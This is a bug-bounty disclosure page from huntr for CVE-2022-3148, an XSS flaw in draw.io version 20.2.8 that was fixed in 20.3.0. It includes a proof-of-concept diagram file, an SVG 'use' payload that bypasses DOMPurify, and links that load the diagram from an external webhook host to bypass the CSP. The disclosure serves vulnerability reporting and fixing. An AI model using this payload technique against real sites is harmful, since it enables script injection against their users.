

# XSS at app.diagrams.net in jgraph/drawio

1



Valid

Reported on Sep 6th 2022

## Description

The application allows the "use" tag to pass on dompurify, which leads to XSS. A strange behaviour bypasses the csp on app.diagrams.net when it has a "?" before the "#U" import.

## Proof of Concept

POC diagram:

```
<?xml version="1.0" encoding="UTF-8"?>
<mxfile host="app.diagrams.netxyz" modified="2022-09-06T18:54:56.458Z" agent="jgraph/drawio"
  <diagram id="4FUsL0c-RG27eG500xMg" name="Page-1">
    <mxGraphModel dx="1422" dy="664" grid="1" gridSize="10" guides="1" tooltips="1"
      <root>
        <mxCell id="0" />
        <mxCell id="1" parent="0" />
        <mxCell id="L7LsT0qxvLqq3sj4AYtF-1xyz" value="Text<svg><use href=''
          <mxGeometry x="430" y="260" width="60" height="30" as="geometry"
        </mxCell>
      </root>
    </mxGraphModel>
  </diagram>
</mxfile>
```

Raw payload:

```
<svg><use href="" />
```

Chat with us

POC link

<https://app.diagrams.net/?#Uhttps://webhook.site/d38b94cb-a6ab-4219-b9f3-d38b94cb-a6ab>  
<https://viewer.diagrams.net/index.html?#Uhttps://webhook.site/d38b94cb-a6ab-4219-b9f3-d38b94cb-a6ab>



## Impact

## XSS

## References

- <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#data-url-with-use-element-and-base64-encoded>

CVE

CVE-2022-3148

(Published)

### Vulnerability Type

## CWE-79: Cross-site Scripting (XSS) - Generic

## Severity

### Medium (5.3)

## Registry

Other

### Affected Version

20.2.8

## Visibility

Public

Status

Fixed

Found by



Joao Vitor Maia

legend 

Chat with us



\w/

This report was seen 787 times.

We are processing your report and will contact the **jgraph/drawio** team within 24 hours.  
3 months ago

**David Benson** validated this vulnerability 3 months ago

Good attack and report, as always.

**Joao Vitor Maia** has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

**David Benson** marked this as fixed in **20.3.0** with commit **b5dfefb** 3 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

2022 © 418sec

huntr

home

hacktivity

• • • • •

part of 418sec

company

about

• • • • •

Chat with us

[leaderboard](#)

[team](#)

[FAQ](#)

[contact us](#)

[terms](#)

[privacy policy](#)

[Chat with us](#)